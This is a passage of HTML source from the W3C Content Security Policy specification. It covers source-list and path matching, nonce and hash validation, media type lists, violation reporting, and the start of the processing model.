class=\"note\" role=\"note\">Note: This includes IP addresses. That is, a document at\n              <code>https://111.111.111.111/</code> with a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> of\n              <code>img-src 'self'</code> can load the image\n              <code>https://111.111.111.111/image.png</code>, as the origins\n              match.</p>\n          \n            \n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>\n          Otherwise, return <em>does not match</em>.\n        \n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: This algorithm treats the URLs <code>https://example.com/</code>\n      and <code>https://example.com./</code> as <em>non-matching</em>. This\n      is consistent with browser behavior which treats documents served from\n      these URLs as existing in distinct origins.</p>\n      \n\n\n      <p>A URL <var>url</var> is said to <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"match-a-source-list\">match a source list<a class=\"self-link\" href=\"#match-a-source-list\"></a></dfn> for\n      <var>protected resource</var> if at least one source expression in the set\n      of source expressions obtained by <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the\n      source list</a> <a data-link-type=\"dfn\" href=\"#match-a-source-expression\">matches <var>url</var>\n      for <var>protected resource</var></a>.</p>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: No URLs match an empty set of source expressions, such as the set\n      obtained by parsing the source list <code>'none'</code>.</p>\n      \n\n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.1\" id=\"source-list-guid-matching\"><span class=\"secno\">4.2.2.1. </span><span class=\"content\">\n          Security Considerations for GUID URL schemes\n        </span><a class=\"self-link\" href=\"#source-list-guid-matching\"></a></h5>\n       \n\n\n       <p><em>This section is not normative.</em></p>\n       \n\n\n       <p>As defined above, special URL schemes that refer to specific pieces of\n        unique content, such as \"data:\", \"blob:\" and \"filesystem:\" are\n        excluded from matching a policy of <code>*</code> and must be\n        explicitly listed. Policy authors should note that the content of\n        such URLs is often derived from a response body or execution in a\n        Document context, which may be unsafe. Especially for the\n        <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> and <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n        directives, policy authors should be aware that allowing \"data:\" URLs\n        is equivalent to <code>unsafe-inline</code> and allowing \"blob:\" or\n        \"filesystem:\" URLs is equivalent to <code>unsafe-eval</code>.</p>\n       \n      \n      </section>\n      \n\n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.2\" id=\"source-list-path-patching\"><span class=\"secno\">4.2.2.2. </span><span class=\"content\">Path Matching</span><a class=\"self-link\" href=\"#source-list-path-patching\"></a></h5>\n       \n\n\n       <p><em>This section is not normative.</em></p>\n       \n\n\n       <p>The rules for matching source expressions that contain paths\n        are simpler than they look: paths that end with the <code>'/'</code>\n        character match all files in a directory and its subdirectories. Paths\n        that do not end with the <code>'/'</code> character match only one\n        specific file. A few examples should make this clear:</p>\n       \n\n        \n       <ol>\n          \n        <li>The source expression <code>example.com</code> has no path,\n          and therefore matches any file served from that host.\n        \n\n          \n        <li>The source expression <code>example.com/scripts/</code>\n          matches any file in the <code>scripts</code> directory of\n          <code>example.com</code>, and any of its subdirectories. For\n          example, both <code>https://example.com/scripts/file.js</code>\n          and <code>https://example.com/scripts/js/file.js</code> would\n          match.\n        \n\n          \n        <li>The source expression\n          <code>example.com/scripts/file.js</code> matches only the file\n          named <code>file.js</code> in the <code>scripts</code> directory\n          of <code>example.com</code>.\n        \n\n          \n        <li>Likewise, the source expression <code>example.com/js</code>\n          matches only the file named <code>js</code>. In particular, note\n          that it would not match files inside a directory named\n          <code>js</code>. Files like <code>example.com/js/file.js</code>\n          would be matched only if the source expression ended with a\n          trailing \"/\", as in <code>example.com/js/</code>.\n        \n        \n       </ol>\n       \n\n\n       <p class=\"note\" role=\"note\">Note: Query strings have no impact on matching: the source\n        expression <code>example.com/file</code> matches all of\n        <code>https://example.com/file</code>,\n        <code>https://example.com/file?key=value</code>,\n        <code>https://example.com/file?key=notvalue</code>, and\n        <code>https://example.com/file?notkey=notvalue</code>.</p>\n       \n      \n      </section>\n      \n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.3\" id=\"source-list-paths-and-redirects\"><span class=\"secno\">4.2.2.3. </span><span class=\"content\">Paths and Redirects</span><a class=\"self-link\" href=\"#source-list-paths-and-redirects\"></a></h5>\n       \n\n\n       <p>To avoid leaking path information cross-origin (as discussed\n        in Egor Homakov’s\n        <a href=\"http://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html\">Using Content-Security-Policy for Evil</a>),\n        the matching algorithm ignores the path component of a source\n        expression if the resource being loaded is the result of a\n        redirect. For example, given a page with an active policy of\n        <code><a data-link-type=\"dfn\" href=\"#img_src\">img-src</a> example.com not-example.com/path</code>:</p>\n       \n\n        \n       <ul>\n          \n        <li>Directly loading <code>https://not-example.com/not-path</code>\n          would fail, as it doesn’t match the policy.\n        \n          \n        <li>Directly loading <code>https://example.com/redirector</code>\n          would pass, as it matches <code>example.com</code>.\n        \n          \n        <li>Assuming that <code>https://example.com/redirector</code>\n          delivered a redirect response pointing to <code>https://not-example.com/not-path</code>,\n          the load would succeed, as the initial URL matches <code>example.com</code>,\n          and the redirect target matches <code>not-example.com/path</code>\n          if we ignore its path component.\n        \n        \n       </ul>\n       \n\n\n       <p>This restriction reduces the granularity of a document’s\n        policy when redirects are in play, which isn’t wonderful, but\n        given that we certainly don’t want to allow brute-forcing paths\n        after redirects, it seems a reasonable compromise.</p>\n       \n\n\n       <p>The relatively long thread\n        <a href=\"http://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html\">\"Remove paths from CSP?\"</a>\n        from public-webappsec@w3.org has more detailed discussion around\n        alternate proposals.</p>\n       \n      \n      </section>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.3\" id=\"script-src-the-nonce-attribute\"><span class=\"secno\">4.2.3. </span><span class=\"content\">\n        The <code>nonce</code> attribute\n      </span><a class=\"self-link\" href=\"#script-src-the-nonce-attribute\"></a></h4>\n      \n\n\n      <p>Nonce sources require a new <code>nonce</code> attribute to be added to\n      both <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements.</p>\n      \n\n      \n      <pre class=\"idl\">partial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/scripting-1.html#htmlscriptelement\">HTMLScriptElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlscriptelement-nonce\">nonce</a>;\n};\n</pre>\n      \n      \n      <dl>\n        \n       <dt><dfn class=\"idl-code\" data-dfn-for=\"HTMLScriptElement\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-htmlscriptelement-nonce\">nonce<a class=\"self-link\" href=\"#dom-htmlscriptelement-nonce\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n       \n        \n       <dd>This attribute <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#reflect\">reflects</a> the value of the\n        element’s <code><dfn data-dfn-for=\"script\" data-dfn-type=\"element-attr\" data-export=\"\" id=\"element-attrdef-script-nonce\">nonce<a class=\"self-link\" href=\"#element-attrdef-script-nonce\"></a></dfn></code>\n        content attribute.\n       \n      \n      </dl>\n      \n      \n      <pre class=\"idl\">partial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/document-metadata.html#htmlstyleelement\">HTMLStyleElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlstyleelement-nonce\">nonce</a>;\n};\n</pre>\n      \n      \n      <dl>\n        \n       <dt><dfn class=\"idl-code\" data-dfn-for=\"HTMLStyleElement\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-htmlstyleelement-nonce\">nonce<a class=\"self-link\" href=\"#dom-htmlstyleelement-nonce\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n       \n        \n       <dd>This attribute <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#reflect\">reflects</a> the value of the\n        element’s <code><dfn data-dfn-for=\"style\" data-dfn-type=\"element-attr\" data-export=\"\" id=\"element-attrdef-style-nonce\">nonce<a class=\"self-link\" href=\"#element-attrdef-style-nonce\"></a></dfn></code>\n        content attribute.\n       \n      \n      </dl>\n      \n\n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.4\" id=\"source-list-valid-nonces\"><span class=\"secno\">4.2.4. </span><span class=\"content\">Valid Nonces</span><a class=\"self-link\" href=\"#source-list-valid-nonces\"></a></h4>\n      \n\n\n      <p>An element has a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"valid-nonce\">valid nonce<a class=\"self-link\" href=\"#valid-nonce\"></a></dfn> for a <var>set of source\n      expressions</var> if the value of the element’s <code><a data-link-type=\"element-attr\" href=\"#element-attrdef-script-nonce\">nonce</a></code> attribute\n      after <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">stripping leading\n      and trailing whitespace</a> is a case-sensitive match for the\n      <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code> component of at least one\n      <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> expression in <var>set of source\n      expressions</var>.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.5\" id=\"source-list-valid-hashes\"><span class=\"secno\">4.2.5. </span><span class=\"content\">Valid Hashes</span><a class=\"self-link\" href=\"#source-list-valid-hashes\"></a></h4>\n      \n\n\n      <p>An <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"elements-content\">element’s content<a class=\"self-link\" href=\"#elements-content\"></a></dfn> is <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-block's-source\">the script block’s\n      source</a> for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements, or the value of the element’s\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#dom-node-textcontent\">textContent</a></code> IDL attribute for non-<code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements such as\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code>.</p>\n      \n\n\n      <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"digest-of-elements-content\">digest of <var>element</var>’s content<a class=\"self-link\" href=\"#digest-of-elements-content\"></a></dfn> for is the result\n      of applying an <var>algorithm</var> to the <a data-link-type=\"dfn\" href=\"#elements-content\">element’s content</a>.</p>\n      \n\n\n      <p>To determine whether <var>element</var> has a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"valid-hash\">valid hash<a class=\"self-link\" href=\"#valid-hash\"></a></dfn> for\n      a <var>set of source expressions</var>, execute the following steps:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let <var>hashes</var> be a list of all\n        <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code> expressions in <var>set of source\n        expressions</var>.\n       \n\n        \n       <li>For each <var>hash</var> in <var>hashes</var>:\n          \n        <ol>\n            \n         <li>Let <var>algorithm</var> be:\n              \n          <ul>\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_256\">SHA-256</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha256\"\n           \n\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_384\">SHA-384</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha384\"\n           \n\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_512\">SHA-512</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha512\"\n           \n              \n          </ul>\n          \n            \n         \n\n            \n         <li>Let <var>expected</var> be the <code><a data-link-type=\"dfn\" href=\"#hash_value\">hash-value</a></code>\n            component of <var>hash</var>.\n         \n\n            \n         <li>Let <var>actual</var> be the\n            <a href=\"https://tools.ietf.org/html/rfc4648#section-4\">base64\n            encoding</a> of the binary <a data-link-type=\"dfn\" href=\"#digest-of-elements-content\">digest of <var>element</var>’s\n            content</a> using the <var>algorithm</var> algorithm.\n         \n\n            \n         <li>If <var>actual</var> is a case-sensitive match for\n            <var>expected</var>, return <strong>true</strong> and abort these\n            steps.\n         \n          \n        </ol>\n        \n        \n       \n        \n       <li>Return <strong>false</strong>.\n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: If an element has an invalid hash, it would be helpful\n      if the user agent reported the failure to the author by adding\n      a warning message containing the <var>actual</var> hash value.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.3\" id=\"media-type-list-syntax\"><span class=\"secno\">4.3. </span><span class=\"content\">Media Type List Syntax</span><a class=\"self-link\" href=\"#media-type-list-syntax\"></a></h3>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a></code> directive uses a value consisting\n    of a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media-type-list\">media type list<a class=\"self-link\" href=\"#media-type-list\"></a></dfn>.</p>\n     \n\n\n     <p>Each <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media-type\">media type<a class=\"self-link\" href=\"#media-type\"></a></dfn> in the media type list represents a specific\n    type of resource that can be retrieved and used to instantiate a\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> in the protected resource.</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_type_list\">media-type-list<a class=\"self-link\" href=\"#media_type_list\"></a></dfn>   = <a data-link-type=\"dfn\" href=\"#media_type\">media-type</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#media_type\">media-type</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_type\">media-type<a class=\"self-link\" href=\"#media_type\"></a></dfn>        = &lt;type from RFC 2045> \"/\" &lt;subtype from RFC 2045>\n</pre>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.3.1\" id=\"media-type-list-parsing\"><span class=\"secno\">4.3.1. </span><span class=\"content\">Parsing</span><a class=\"self-link\" href=\"#media-type-list-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-a-media-type-list\">parse a media type list<a class=\"self-link\" href=\"#parse-a-media-type-list\"></a></dfn> <var>media type list</var>, the\n      user agent MUST use an algorithm equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let the <var>set of media types</var> be the empty set.\n       \n\n        \n       <li>For each token returned by\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting\n        <var>media type list</var> on spaces</a>, if the token matches the\n        grammar for <code><a data-link-type=\"dfn\" href=\"#media_type\">media-type</a></code>, add the token to the\n        <var>set of media types</var>. Otherwise ignore the token.\n       \n\n        \n       <li>Return the <var>set of media types</var>.\n       \n      \n      </ol>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.3.2\" id=\"media-type-list-matching\"><span class=\"secno\">4.3.2. </span><span class=\"content\">Matching</span><a class=\"self-link\" href=\"#media-type-list-matching\"></a></h4>\n      \n\n\n      <p>A media type <dfn data-dfn-type=\"dfn\" data-lt=\"match a media type list\" data-noexport=\"\" id=\"match-a-media-type-list\">matches a media type\n      list<a class=\"self-link\" href=\"#match-a-media-type-list\"></a></dfn> if, and only if, the media type is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII\n      case-insensitive match</a> for at least one token in the set of media\n      types obtained by <a data-link-type=\"dfn\" href=\"#parse-a-media-type-list\">parsing the media\n      type list</a>.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"4.4\" id=\"violation-reports\"><span class=\"secno\">4.4. </span><span class=\"content\">Reporting</span><a class=\"self-link\" href=\"#violation-reports\"></a></h3>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-lt=\"strip uri for reporting|stripped for reporting\" data-noexport=\"\" id=\"strip-uri-for-reporting\">strip\n    <var>uri</var> for reporting<a class=\"self-link\" href=\"#strip-uri-for-reporting\"></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of <var>uri</var> is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique\n      identifier</a> (for example, <var>uri</var> has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then\n      abort these steps, and return the ASCII serialization of\n      <var>uri</var>’s scheme.\n      \n\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of <var>uri</var> is not the same as the\n      <a data-link-type=\"dfn\" href=\"#origin\">origin</a> of the protected resource, then abort these steps, and\n      return the\n      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#ascii-serialization-of-an-origin\">ASCII\n      serialization of <var>uri</var>’s origin</a>.\n      \n\n      \n      <li>Return <var>uri</var>, with any <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#concept-url-fragment\">fragment</a>\n      component removed.\n      \n    \n     </ol>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-lt=\"generate a violation report object|generating a violation report object\" data-noexport=\"\" id=\"generate-a-violation-report-object\">generate a violation report object<a class=\"self-link\" href=\"#generate-a-violation-report-object\"></a></dfn>,\n    the user agent MUST use an algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Prepare a JSON object <var>violation</var> with the\n      following keys and values:\n\n        \n       <dl>\n          \n        <dt id=\"violation-report-blocked-uri\"><a class=\"self-link\" href=\"#violation-report-blocked-uri\"></a>blocked-uri\n        \n          \n        <dd>The originally requested URL of the resource that was\n          prevented from loading, <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>,\n          or the empty string if the resource has no URL (inline script and\n          inline style, for example).\n        \n\n          \n        <dt id=\"violation-report-document-uri\"><a class=\"self-link\" href=\"#violation-report-document-uri\"></a>document-uri\n        \n          \n        <dd>The <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#the-document's-address\">address</a>\n          of the protected resource, <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>.\n        \n\n          \n        <dt id=\"violation-report-effective-directive\"><a class=\"self-link\" href=\"#violation-report-effective-directive\"></a>effective-directive\n        \n          \n        <dd>The name of the policy directive that was violated. This will\n          contain the <a data-link-type=\"dfn\" href=\"#security-policy-directive\">directive</a> whose enforcement triggered the\n          violation (e.g. \"<code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\") even if that\n          directive does not explicitly appear in the policy, but is\n          implicitly activated via the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code>\n          directive.\n        \n\n          \n        <dt id=\"violation-report-original-policy\"><a class=\"self-link\" href=\"#violation-report-original-policy\"></a>original-policy\n        \n          \n        <dd>The original <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a>, as received by the user agent.\n        \n\n          \n        <dt id=\"violation-report-referrer\"><a class=\"self-link\" href=\"#violation-report-referrer\"></a>referrer\n        \n          \n        <dd>The <a class=\"idl-code\" data-link-type=\"attribute\" href=\"http://www.w3.org/TR/html5/dom.html#dom-document-referrer\">referrer</a> attribute of the protected\n          resource, or the empty string if the protected resource has no\n          referrer.\n        \n\n          \n        <dt id=\"violation-report-status-code\"><a class=\"self-link\" href=\"#violation-report-status-code\"></a>status-code\n        \n          \n        <dd>The <code>status-code</code> of the HTTP response that\n          contained the protected resource, if the protected resource was\n          obtained over HTTP. Otherwise, the number 0.\n        \n\n          \n        <dt id=\"violation-report-violated-directive\"><a class=\"self-link\" href=\"#violation-report-violated-directive\"></a>violated-directive\n        \n          \n        <dd>The policy directive that was violated, as it appears in the\n          policy. This will contain the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive\n          in the case of violations caused by falling back to the\n          <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> when enforcing\n          a directive.\n        \n        \n       </dl>\n       \n      \n      \n\n      \n      <li>If a specific line or a specific file can be identified as the\n      cause of the violation (for example, script execution that violates\n      the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive), the user agent MAY add the\n      following keys and values to <var>violation</var>:\n\n        \n       <dl>\n          \n        <dt id=\"violation-report-source-file\"><a class=\"self-link\" href=\"#violation-report-source-file\"></a><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_file\">source-file<a class=\"self-link\" href=\"#source_file\"></a></dfn>\n        \n          \n        <dd>The URL of the resource where the violation occurred,\n          <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>.\n        \n\n          \n        <dt id=\"violation-report-line-number\"><a class=\"self-link\" href=\"#violation-report-line-number\"></a>line-number\n        \n          \n        <dd>The line number in <code><a data-link-type=\"dfn\" href=\"#source_file\">source-file</a></code> on which\n          the violation occurred.\n        \n\n          \n        <dt id=\"violation-report-column-number\"><a class=\"self-link\" href=\"#violation-report-column-number\"></a>column-number\n        \n          \n        <dd>The column number in <code><a data-link-type=\"dfn\" href=\"#source_file\">source-file</a></code> on which\n          the violation occurred.\n        \n        \n       </dl>\n       \n      \n      \n      \n      <li>Return <var>violation</var>.\n      \n    \n     </ol>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>blocked-uri</code> will not contain the final location of a\n    resource that was blocked after one or more redirects. It instead will\n    contain only the location that the protected resource requested, before\n    any redirects were followed.</p>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"send-violation-reports\">send violation reports<a class=\"self-link\" href=\"#send-violation-reports\"></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Prepare a <a data-link-type=\"dfn\" href=\"#json-object\">JSON object</a> <var>report object</var> with a single\n      key, <code>csp-report</code>, whose value is the result of <a data-link-type=\"dfn\" href=\"#generate-a-violation-report-object\">generating\n      a violation report object</a>.\n      \n\n      \n      <li>Let <var>report body</var> be the <a data-link-type=\"dfn\" href=\"#json-stringification\">JSON stringification</a> of\n      <var>report object</var>.\n      \n\n      \n      <li>For each <var>report URL</var> in the <a data-link-type=\"dfn\" href=\"#set-of-report-urls\">set of report URLs</a>:\n        \n       <ol>\n          \n        <li>If the user agent has already sent a violation report for\n          the protected resource to <var>report URL</var>, and that report\n          contained an entity body that exactly matches\n          <var>report body</var>, the user agent MAY abort these\n          steps and continue to the next <var>report URL</var>.\n        \n\n          \n        <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#queue-a-task\">Queue a task</a> to <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetch</a>\n          <var>report URL</var> from the origin of the protected resource,\n          with the synchronous flag <em>not</em> set, using HTTP method\n          <code>POST</code>, with a <code>Content-Type</code> header field\n          of <code>application/csp-report</code>, and an entity body\n          consisting of <var>report body</var>. If the origin of\n          <var>report URL</var> is <strong>not</strong> the same as the\n          origin of the protected resource, the block cookies flag MUST also\n          be set. The user agent MUST NOT follow redirects when fetching this\n          resource. (Note: The user agent ignores the fetched resource.)\n          The <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#task-source\">task source</a> for these\n          <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#concept-task\">tasks</a> is the <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"content-security-policy-task-source\">Content Security Policy task\n          source<a class=\"self-link\" href=\"#content-security-policy-task-source\"></a></dfn>.\n        \n        \n       </ol>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"report-a-violation\">report a violation<a class=\"self-link\" href=\"#report-a-violation\"></a></dfn>, the user agent MUST:</p>\n     \n\n    \n     <ol>\n      \n      <li><a data-link-type=\"dfn\" href=\"#fire-a-violation-event\">Fire a violation event</a> at the protected resource’s\n      <code><a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a></code>.\n      \n\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#set-of-report-urls\">set of report URLs</a> is non-empty, <a data-link-type=\"dfn\" href=\"#send-violation-reports\">send violation\n      reports</a> to each.\n      \n    \n     </ol>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: This section of the specification should not be interpreted\n    as limiting user agents' ability to apply restrictions to violation\n    reports in order to limit data leakage above and beyond what these\n    algorithms specify. For example, a user agent might offer users the\n    option of disabling reporting entirely.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"5\" id=\"processing-model\"><span class=\"secno\">5. </span><span class=\"content\">Processing Model</span><a class=\"self-link\" href=\"#processing-model\"></a></h2>\n\n\n    <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"enforce\">enforce<a class=\"self-link\" href=\"#enforce\"></a></dfn> a policy, the user agent MUST <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parse the policy</a>\n  and enforce each of the directives contained in the policy, where the\n  specific requirements for enforcing each directive are defined separately\n  for each directive (See <a href=\"#directives\">§7 Directives</a>, below).</p>\n\n\n    <p>Generally speaking, enforcing a directive prevents the protected\n  resource from performing certain actions, such as loading scripts from\n  URLs other than those indicated in a source list. These restrictions\n  make it more difficult for an attacker to abuse an injection\n  vulnerability in the resource because the attacker will be unable to\n  usurp the resource’s privileges that have been restricted in this\n  way.</p>\n\n\n    <p class=\"note\" role=\"note\">Note: User agents may allow users to modify or bypass policy enforcement\n  through user preferences, bookmarklets, third-party additions to the user\n  agent, and other such mechanisms.</p>\n\n\n    <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"monitor\">monitor<a class=\"self-link\" href=\"#monitor\"></a></dfn> a policy, the user agent MUST <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parse the policy</a>\n  and monitor each of the directives contained in the policy.</p>\n\n\n    <p>Monitoring a directive does not prevent the protected resource from\n  undertaking any actions. Instead, any actions that would have been\n  prevented by the directives are allowed, but a violation report is\n  <a data-link-type=\"dfn\" href=\"#report-a-violation\">generated and reported</a> to the\n  developer of the web application. Monitoring a policy is useful for\n  testing whether enforcing the policy will cause the web application to\n  malfunction.</p>\n\n\n    <p>A server MAY cause user agents to monitor one policy while enforcing\n  another policy by returning both <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n  and <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code> header fields.\n  For example, if a server operator may wish to <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> one policy but\n  experiment with a stricter policy, she can monitor the stricter policy while\n  enforcing the original policy. Once the server operator is satisfied that\n  the stricter policy does not break the web application, the server operator\n  can start enforcing the stricter policy.</p>\n\n\n    <p>If the user agent monitors or enforces a policy that does not contain any\n  directives, the user agent SHOULD report a warning message in the\n  developer console.</p>\n\n\n    <p>If the user agent <a data-link-type=\"dfn\" href=\"#monitor\">monitors</a> or <a data-link-type=\"dfn\" href=\"#enforce\">enforces</a> a policy that contains\n  an unrecognized directive, the user agent SHOULD report a warning message\n  in the developer console indicating the name of the unrecognized directive.</p>\n\n\n    <p>If the user agent <a data-link-type=\"dfn\" href=\"#monitor\">monitors</a> or <a data-link-type=\"dfn\" href=\"#enforce\">enforces</a> a policy that contains\n  a directive that contains a <a data-link-type=\"dfn\" href=\"#source-list\">source list</a>, then the user agent MUST set\n  a <code><a data-link-type=\"dfn\" href=\"#csp\">CSP</a></code> Request Header when requesting cross-origin\n  resources, as described in <a href=\"#csp-request-header\">§3.4 The CSP HTTP Request Header</a>.</p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"5.1\" id=\"processing-model-workers\"><span class=\"secno\">5.1. </span><span class=\"content\">Workers</span><a class=\"self-link\" href=\"#processing-model-workers\"></a></h3>\n     \n\n\n     <p>Whenever a user agent <a data-link-type=\"dfn\" 